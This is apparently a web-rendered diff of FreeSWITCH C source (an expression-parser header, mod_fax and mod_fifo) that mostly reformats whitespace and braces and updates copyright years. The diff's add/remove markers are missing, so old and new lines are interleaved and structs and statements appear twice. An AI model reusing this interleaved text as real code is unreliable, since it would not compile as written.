int min, max; /* Min and max args for the function. */
int refmin, refmax; /* Min and max ref. variables for the function */
int type; /* Function node type. exprEvalNOde solves the function */
struct _exprFunc *next; /* For linked list */
};
struct _exprFunc *next; /* For linked list */
};
/* Function list object */
struct _exprFuncList
{
struct _exprFunc *head;
};
struct _exprFuncList {
struct _exprFunc *head;
};
/* Object for values */
struct _exprVal
{
char *vname; /* Name of the value */
EXPRTYPE vval; /* Value of the value */
EXPRTYPE *vptr; /* Pointer to a value. Used only if not NULL */
struct _exprVal {
char *vname; /* Name of the value */
EXPRTYPE vval; /* Value of the value */
EXPRTYPE *vptr; /* Pointer to a value. Used only if not NULL */
struct _exprVal *next; /* For linked list */
};
struct _exprVal *next; /* For linked list */
};
/* Value list */
struct _exprValList
{
struct _exprVal *head;
};
struct _exprValList {
struct _exprVal *head;
};
/* Expression node type */
struct _exprNode
{
int type; /* Node type */
struct _exprNode {
int type; /* Node type */
union _data /* Union of info for various types */
{
struct _oper
{
struct _exprNode *nodes; /* Operation arguments */
int nodecount; /* Number of arguments */
} oper;
union _data { /* Union of info for various types */
struct _oper {
struct _exprNode *nodes; /* Operation arguments */
int nodecount; /* Number of arguments */
} oper;
struct _variable
{
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
} variable;
struct _variable {
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
} variable;
struct _value
{
EXPRTYPE value; /* Value if type is value */
} value;
struct _value {
EXPRTYPE value; /* Value if type is value */
} value;
struct _assign /* Assignment struct */
{
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
struct _exprNode *node; /* Node to evaluate */
} assign;
struct _assign { /* Assignment struct */
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
struct _exprNode *node; /* Node to evaluate */
} assign;
struct _function
{
exprFuncType fptr; /* Function pointer */
struct _exprNode *nodes; /* Array of argument nodes */
int nodecount; /* Number of argument nodes */
EXPRTYPE **refs; /* Reference variables */
int refcount; /* Number of variable references (not a reference counter) */
int type; /* Type of function for exprEvalNode if fptr is NULL */
} function;
} data;
};
struct _function {
exprFuncType fptr; /* Function pointer */
struct _exprNode *nodes; /* Array of argument nodes */
int nodecount; /* Number of argument nodes */
EXPRTYPE **refs; /* Reference variables */
int refcount; /* Number of variable references (not a reference counter) */
int type; /* Type of function for exprEvalNode if fptr is NULL */
} function;
} data;
};
/* Functions for function lists */
int exprFuncListAddType(exprFuncList *flist, char *name, int type, int min, int max, int refmin, int refmax);
int exprFuncListGet(exprFuncList *flist, char *name, exprFuncType *ptr, int *type, int *min, int *max, int *refmin, int *refmax);
int exprFuncListAddType(exprFuncList * flist, char *name, int type, int min, int max, int refmin, int refmax);
int exprFuncListGet(exprFuncList * flist, char *name, exprFuncType * ptr, int *type, int *min, int *max, int *refmin, int *refmax);
#ifdef WIN32
#define SWITCH_DECLARE(type) __declspec(dllimport) type __stdcall
#else
#define SWITCH_DECLARE(type) type
#define SWITCH_DECLARE(type) type
#endif
SWITCH_DECLARE(int) switch_isalnum(int c);
SWITCH_DECLARE(int) switch_isalpha(int c);
SWITCH_DECLARE(int) switch_isdigit(int c);
SWITCH_DECLARE(int) switch_isspace(int c);
SWITCH_DECLARE(int) switch_isalnum(int c);
SWITCH_DECLARE(int) switch_isalpha(int c);
SWITCH_DECLARE(int) switch_isdigit(int c);
SWITCH_DECLARE(int) switch_isspace(int c);
#ifdef __cplusplus
}
#endif
#endif /* __BAVII_EXPRPRIV_H */
#endif /* __BAVII_EXPRPRIV_H */
+1 -1
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
+44 -40
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -88,12 +88,12 @@ struct pvt_s {
int tx_page_start;
int tx_page_end;
int done;
/* UNUSED AT THE MOMENT
int enable_t38_reinvite;
*/
*/
};
@@ -141,7 +141,7 @@ static void spanfax_log_message(int level, const char *msg)
/*
* Called at the end of the document
*/
static void phase_e_handler(t30_state_t * s, void *user_data, int result)
static void phase_e_handler(t30_state_t *s, void *user_data, int result)
{
t30_stats_t t;
const char *local_ident;
@@ -153,7 +153,7 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
pvt = (pvt_t *) user_data;
switch_assert(pvt);
session = pvt->session;
switch_assert(session);
@@ -184,8 +184,8 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Remote station id: %s\n", far_ident);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local station id: %s\n", local_ident);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Total fax pages: %i\n", t.pages_in_file);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Image resolution: %ix%i\n", t.x_resolution, t.y_resolution);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Transfer Rate: %i\n", t.bit_rate);
@@ -195,11 +195,12 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote vendor: %s\n", switch_str_nil(t30_get_rx_vendor(s)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote model: %s\n", switch_str_nil(t30_get_rx_model(s)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "==============================================================================\n");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"==============================================================================\n");
/*
Set our channel variables
*/
Set our channel variables
*/
tmp = switch_mprintf("%i", result);
if (tmp) {
@@ -250,15 +251,15 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
}
/* switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING); */
pvt->done = 1;
/*
TODO Fire events
*/
TODO Fire events
*/
}
static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
static switch_status_t spanfax_init(pvt_t *pvt, transport_mode_t trans_mode)
{
switch_core_session_t *session;
@@ -342,7 +343,7 @@ static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
Here goes the T.38 SpanDSP initializing functions
T.38 will require a big effort as it needs a different approach
but the pieces are already in place
*/
*/
default:
assert(0); /* Whaaat ? */
break;
@@ -351,7 +352,7 @@ static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t spanfax_destroy(pvt_t * pvt)
static switch_status_t spanfax_destroy(pvt_t *pvt)
{
int terminate;
t30_state_t *t30;
@@ -403,9 +404,9 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
switch_codec_t write_codec = { 0 };
switch_frame_t *read_frame = { 0 };
switch_frame_t write_frame = { 0 };
switch_codec_implementation_t read_impl = {0};
switch_codec_implementation_t read_impl = { 0 };
int16_t *buf = NULL;
switch_core_session_get_read_impl(session, &read_impl);
switch_core_session_get_read_impl(session, &read_impl);
/* make sure we have a valid channel when starting the FAX application */
channel = switch_core_session_get_channel(session);
@@ -414,7 +415,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
if (!switch_channel_media_ready(channel)) {
switch_channel_answer(channel);
}
/* Allocate our structs */
pvt = switch_core_session_alloc(session, sizeof(pvt_t));
@@ -468,8 +469,8 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
pvt->verbose = globals.verbose;
}
if ( (tmp=switch_channel_get_variable(channel, "fax_force_caller")) ) {
if ( switch_true(tmp) ) {
if ((tmp = switch_channel_get_variable(channel, "fax_force_caller"))) {
if (switch_true(tmp)) {
pvt->caller = 1;
} else {
pvt->caller = 0;
@@ -515,7 +516,8 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
pvt->filename = switch_core_session_strdup(session, data);
if (pvt->app_mode == FUNCTION_TX) {
if ((switch_file_exists(pvt->filename, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n", switch_str_nil(pvt->filename));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n",
switch_str_nil(pvt->filename));
goto done;
}
}
@@ -548,12 +550,12 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
}
/*
*** Initialize the SpanDSP elements ***
*** Initialize the SpanDSP elements ***
Note: we could analyze if a fax was already detected in previous stages
and if so, when T.38 will be supported, send a reinvite in T38_MODE,
bypassing AUDIO_MODE.
*/
Note: we could analyze if a fax was already detected in previous stages
and if so, when T.38 will be supported, send a reinvite in T38_MODE,
bypassing AUDIO_MODE.
*/
if ((spanfax_init(pvt, AUDIO_MODE) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot initialize Fax engine\n");
@@ -563,14 +565,14 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
/*
Note: Disable echocan on the channel, remember to call app "disable_ec" in the dialplan
before invoking fax applications
*/
*/
/*
Note: we are disabling the Jitterbuffer, here, before we answer.
If you have set it to something else and the channel is pre-answered,
it will have no effect. Make sure that if you want more reliable
faxes, it is disabled.
*/
Note: we are disabling the Jitterbuffer, here, before we answer.
If you have set it to something else and the channel is pre-answered,
it will have no effect. Make sure that if you want more reliable
faxes, it is disabled.
*/
switch_channel_set_variable(channel, "jitterbuffer_msec", "0");
@@ -614,7 +616,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
}
switch_ivr_sleep(session, 250, SWITCH_TRUE, NULL);
while (switch_channel_ready(channel)) {
int tx = 0;
switch_status_t status;
@@ -628,7 +630,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
- call t38_terminal_send_timeout(), sleep for a while
The T.38 stuff can be placed here (and the audio stuff can be skipped)
*/
*/
/* read new audio frame from the channel */
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
@@ -640,7 +642,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
/* Skip CNG frames (auto-generated by FreeSWITCH, usually) */
if (!switch_test_flag(read_frame, SFF_CNG)) {
/* pass the new incoming audio frame to the fax_rx function */
/* pass the new incoming audio frame to the fax_rx function */
if (fax_rx(pvt->fax_state, (int16_t *) read_frame->data, read_frame->samples)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "fax_rx reported an error\n");
goto done;
@@ -670,13 +672,13 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
}
done:
done:
/* Destroy the SpanDSP structures */
spanfax_destroy(pvt);
/* restore the original codecs over the channel */
switch_core_session_set_read_codec(session, NULL);
switch_core_session_set_read_codec(session, NULL);
if (switch_core_codec_ready(&read_codec)) {
switch_core_codec_destroy(&read_codec);
@@ -782,8 +784,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_fax_init)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE,
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE,
SAF_SUPPORT_NOMEDIA);
memset(&globals, 0, sizeof(globals));
switch_core_new_memory_pool(&globals.pool);
+132 -131
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -90,11 +90,10 @@ static switch_status_t on_dtmf(switch_core_session_t *session, void *input, swit
const char *consumer_exit_key = switch_channel_get_variable(channel, "fifo_consumer_exit_key");
if (switch_channel_test_flag(switch_core_session_get_channel(session), CF_BRIDGE_ORIGINATOR)) {
if ( consumer_exit_key && dtmf->digit == *consumer_exit_key ) {
if (consumer_exit_key && dtmf->digit == *consumer_exit_key) {
switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
return SWITCH_STATUS_BREAK;
}
else if ( !consumer_exit_key && dtmf->digit == '*' ) {
} else if (!consumer_exit_key && dtmf->digit == '*') {
switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
return SWITCH_STATUS_BREAK;
} else if (dtmf->digit == '0') {
@@ -228,8 +227,8 @@ static switch_status_t caller_read_frame_callback(switch_core_session_t *session
args.buflen = sizeof(buf);
if (switch_ivr_play_file(session, NULL, cd->list[cd->index], &args) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_FALSE;
}
return SWITCH_STATUS_FALSE;
}
if (caller_exit_key && *buf == *caller_exit_key) {
cd->abort = 1;
@@ -250,8 +249,8 @@ static switch_status_t consumer_read_frame_callback(switch_core_session_t *sessi
{
fifo_node_t *node, **node_list = (fifo_node_t **) user_data;
int x = 0, total = 0, i = 0;
for (i = 0 ;; i++) {
for (i = 0;; i++) {
if (!(node = node_list[i])) {
break;
}
@@ -288,17 +287,19 @@ switch_cache_db_handle_t *fifo_get_db_handle(void)
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
dbh = NULL;
return dbh;
} else {
options.core_db_options.db_path = globals.dbname;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
dbh = NULL;
return dbh;
}
}
@@ -321,7 +322,7 @@ static switch_status_t fifo_execute_sql(char *sql, switch_mutex_t *mutex)
status = switch_cache_db_execute_sql(dbh, sql, NULL);
end:
switch_cache_db_release_db_handle(&dbh);
if (mutex) {
@@ -336,16 +337,16 @@ static switch_bool_t fifo_execute_sql_callback(switch_mutex_t *mutex, char *sql,
switch_bool_t ret = SWITCH_FALSE;
char *errmsg = NULL;
switch_cache_db_handle_t *dbh = NULL;
if (mutex) {
switch_mutex_lock(mutex);
}
if (!(dbh = fifo_get_db_handle())) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
goto end;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
goto end;
}
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
if (errmsg) {
@@ -429,7 +430,7 @@ static int node_idle_consumers(fifo_node_t *node)
switch_mutex_unlock(node->mutex);
return total;
}
static switch_status_t hanguphook(switch_core_session_t *session)
@@ -441,9 +442,10 @@ static switch_status_t hanguphook(switch_core_session_t *session)
if (state == CS_HANGUP || state == CS_ROUTING) {
if ((uuid = switch_channel_get_variable(channel, "fifo_outbound_uuid"))) {
switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
(long)switch_epoch_time_now(NULL), uuid);
switch_snprintf(sql, sizeof(sql),
"update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
(long) switch_epoch_time_now(NULL), uuid);
fifo_execute_sql(sql, globals.sql_mutex);
}
switch_core_event_hook_remove_state_change(session, hanguphook);
@@ -476,7 +478,7 @@ static void *SWITCH_THREAD_FUNC o_thread_run(switch_thread_t *thread, void *obj)
switch_mutex_lock(globals.mutex);
node = switch_core_hash_find(globals.fifo_hash, h->node_name);
switch_mutex_unlock(globals.mutex);
if (node) {
switch_mutex_lock(node->mutex);
node->ring_consumer_count++;
@@ -485,18 +487,20 @@ static void *SWITCH_THREAD_FUNC o_thread_run(switch_thread_t *thread, void *obj)
switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count+1 where uuid='%s'", h->uuid);
fifo_execute_sql(sql, globals.sql_mutex);
switch_event_create(&ovars, SWITCH_EVENT_REQUEST_PARAMS);
switch_assert(ovars);
switch_event_add_header(ovars, SWITCH_STACK_BOTTOM, "originate_timeout", "%d", h->timeout);
if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
(long)switch_epoch_time_now(NULL), h->uuid);
if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) !=
SWITCH_STATUS_SUCCESS) {
switch_snprintf(sql, sizeof(sql),
"update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
(long) switch_epoch_time_now(NULL), h->uuid);
fifo_execute_sql(sql, globals.sql_mutex);
goto end;
}
channel = switch_core_session_get_channel(session);
@@ -521,7 +525,8 @@ static void *SWITCH_THREAD_FUNC o_thread_run(switch_thread_t *thread, void *obj)
switch_event_destroy(&ovars);
if (node) {
switch_mutex_lock(node->mutex);
if (node->ring_consumer_count-- < 0) node->ring_consumer_count = 0;
if (node->ring_consumer_count-- < 0)
node->ring_consumer_count = 0;
switch_mutex_unlock(node->mutex);
}
switch_core_destroy_memory_pool(&h->pool);
@@ -538,7 +543,7 @@ static int place_call_callback(void *pArg, int argc, char **argv, char **columnN
switch_threadattr_t *thd_attr = NULL;
switch_memory_pool_t *pool;
struct call_helper *h;
switch_core_new_memory_pool(&pool);
h = switch_core_alloc(pool, sizeof(*h));
h->pool = pool;
@@ -554,7 +559,7 @@ static int place_call_callback(void *pArg, int argc, char **argv, char **columnN
switch_thread_create(&thread, thd_attr, o_thread_run, h, h->pool);
(*need)--;
return *need ? 0 : -1;
}
@@ -576,10 +581,10 @@ static void find_consumers(fifo_node_t *node)
static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *obj)
{
fifo_node_t *node;
globals.node_thread_running = 1;
while(globals.node_thread_running == 1) {
while (globals.node_thread_running == 1) {
switch_hash_index_t *hi;
void *val;
const void *var;
@@ -588,21 +593,21 @@ static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *o
switch_mutex_lock(globals.mutex);
for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
if ((node = (fifo_node_t *) val)) {
if (node->has_outbound && node->ready) {
switch_mutex_lock(node->mutex);
ppl_waiting = node_consumer_wait_count(node);
consumer_total = node->consumer_count;
idle_consumers = node_idle_consumers(node);
if ((node = (fifo_node_t *) val)) {
if (node->has_outbound && node->ready) {
switch_mutex_lock(node->mutex);
ppl_waiting = node_consumer_wait_count(node);
consumer_total = node->consumer_count;
idle_consumers = node_idle_consumers(node);
/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
if ((ppl_waiting - node->ring_consumer_count > 0)&& (!consumer_total || !idle_consumers)) {
find_consumers(node);
/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
if ((ppl_waiting - node->ring_consumer_count > 0) && (!consumer_total || !idle_consumers)) {
find_consumers(node);
}
switch_mutex_unlock(node->mutex);
}
switch_mutex_unlock(node->mutex);
}
}
}
switch_mutex_unlock(globals.mutex);
@@ -611,7 +616,7 @@ static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *o
}
globals.node_thread_running = 0;
return NULL;
}
@@ -632,7 +637,7 @@ static int stop_node_thread(void)
if (globals.node_thread_running) {
globals.node_thread_running = -1;
while(globals.node_thread_running) {
while (globals.node_thread_running) {
switch_yield(500000);
if (!--sanity) {
return -1;
@@ -643,15 +648,15 @@ static int stop_node_thread(void)
return 0;
}
static void check_cancel(fifo_node_t *node)
static void check_cancel(fifo_node_t *node)
{
int ppl_waiting = node_consumer_wait_count(node);
if (node->ring_consumer_count > 0 && ppl_waiting < 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Outbound call count (%d) exceeds required value for queue %s (%d), "
"Ending extraneous calls\n", node->ring_consumer_count, node->name, ppl_waiting);
switch_core_session_hupall_matching_var("fifo_hangup_check", node->name, SWITCH_CAUSE_ORIGINATOR_CANCEL);
}
}
@@ -735,12 +740,12 @@ static uint32_t fifo_add_outbound(const char *node_name, const char *url, uint32
}
switch_mutex_unlock(globals.mutex);
str = switch_mprintf("dial:%s", url);
switch_queue_push(node->fifo_list[priority], (void *) str);
return switch_queue_size(node->fifo_list[priority]);
}
@@ -769,16 +774,16 @@ SWITCH_STANDARD_API(fifo_add_outbound_function)
stream->write_function(stream, "%d", fifo_add_outbound(argv[0], argv[1], priority));
free(data);
return SWITCH_STATUS_SUCCESS;
free(data);
return SWITCH_STATUS_SUCCESS;
fail:
fail:
free(data);
free(data);
stream->write_function(stream, "0");
return SWITCH_STATUS_SUCCESS;
return SWITCH_STATUS_SUCCESS;
}
@@ -868,7 +873,7 @@ SWITCH_STANDARD_APP(fifo_function)
}
}
if (!(node = switch_core_hash_find(globals.fifo_hash, nlist[i]))) {
node = create_node(nlist[i], importance, globals.sql_mutex);
node->ready = 1;
@@ -982,7 +987,7 @@ SWITCH_STANDARD_APP(fifo_function)
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "FIFO-Slot", "%d", p);
switch_event_fire(&event);
}
switch_queue_push(node->fifo_list[p], (void *) strdup(uuid));
switch_snprintf(tmp, sizeof(tmp), "%d", switch_queue_size(node->fifo_list[p]));
switch_channel_set_variable(channel, "fifo_position", tmp);
@@ -1300,14 +1305,15 @@ SWITCH_STANDARD_APP(fifo_function)
switch_call_cause_t cause = SWITCH_CAUSE_NONE;
const char *o_announce = NULL;
url = uuid + 5;
if ((o_announce = switch_channel_get_variable(channel, "fifo_outbound_announce"))) {
switch_ivr_play_file(session, NULL, o_announce, NULL);
}
if (switch_ivr_originate(session, &other_session, &cause, url, 120, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
other_session = NULL;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url, switch_channel_cause2str(cause));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url,
switch_channel_cause2str(cause));
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
@@ -1317,7 +1323,7 @@ SWITCH_STANDARD_APP(fifo_function)
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
switch_event_fire(&event);
}
} else {
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
@@ -1326,7 +1332,7 @@ SWITCH_STANDARD_APP(fifo_function)
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Result", "success");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
switch_event_fire(&event);
}
}
url = NULL;
free(uuid);
uuid = strdup(switch_core_session_get_uuid(other_session));
@@ -1351,7 +1357,7 @@ SWITCH_STANDARD_APP(fifo_function)
const char *record_template = switch_channel_get_variable(channel, "fifo_record_template");
char *expanded = NULL;
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
@@ -1385,7 +1391,7 @@ SWITCH_STANDARD_APP(fifo_function)
const char *app = switch_channel_get_variable(other_channel, "current_application");
const char *arg = switch_channel_get_variable(other_channel, "current_application_data");
switch_caller_extension_t *extension = NULL;
switch_mutex_lock(node->mutex);
node->caller_count--;
switch_core_hash_delete(node->caller_hash, uuid);
@@ -1454,7 +1460,7 @@ SWITCH_STANDARD_APP(fifo_function)
switch_ivr_multi_threaded_bridge(session, other_session, on_dtmf, other_session, session);
switch_core_media_bug_pause(session);
switch_core_media_bug_pause(other_session);
if (record_template) {
switch_ivr_stop_record_session(session, expanded);
if (expanded != record_template) {
@@ -1487,7 +1493,7 @@ SWITCH_STANDARD_APP(fifo_function)
fifo_consumer_wrapup_sound = switch_channel_get_variable(channel, "fifo_consumer_wrapup_sound");
fifo_consumer_wrapup_key = switch_channel_get_variable(channel, "fifo_consumer_wrapup_key");
sfifo_consumer_wrapup_time = switch_channel_get_variable(channel, "fifo_consumer_wrapup_time");
if (!zstr(sfifo_consumer_wrapup_time)){
if (!zstr(sfifo_consumer_wrapup_time)) {
fifo_consumer_wrapup_time = atoi(sfifo_consumer_wrapup_time);
} else {
fifo_consumer_wrapup_time = 5000;
@@ -1511,15 +1517,15 @@ SWITCH_STANDARD_APP(fifo_function)
args.buflen = sizeof(buf);
switch_ivr_play_file(session, NULL, fifo_consumer_wrapup_sound, &args);
}
if (fifo_consumer_wrapup_time) {
wrapup_time_started = switch_micro_time_now();
}
if (!zstr(fifo_consumer_wrapup_key) && strcmp(buf, fifo_consumer_wrapup_key)) {
while(switch_channel_ready(channel)) {
while (switch_channel_ready(channel)) {
char terminator = 0;
if (fifo_consumer_wrapup_time) {
wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
@@ -1529,14 +1535,15 @@ SWITCH_STANDARD_APP(fifo_function)
}
}
switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0, (uint32_t) wrapup_time_remaining);
switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0,
(uint32_t) wrapup_time_remaining);
if ((terminator == *fifo_consumer_wrapup_key) || !(switch_channel_ready(channel))) {
break;
}
}
} else if (fifo_consumer_wrapup_time && (zstr(fifo_consumer_wrapup_key) || !strcmp(buf, fifo_consumer_wrapup_key))) {
while(switch_channel_ready(channel)) {
while (switch_channel_ready(channel)) {
wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
break;
@@ -1546,7 +1553,7 @@ SWITCH_STANDARD_APP(fifo_function)
}
switch_channel_set_variable(channel, "fifo_status", "WAITING");
}
if (do_wait && switch_channel_ready(channel)) {
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
@@ -1556,7 +1563,7 @@ SWITCH_STANDARD_APP(fifo_function)
}
}
}
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
@@ -1577,7 +1584,7 @@ SWITCH_STANDARD_APP(fifo_function)
}
}
done:
done:
switch_mutex_lock(globals.mutex);
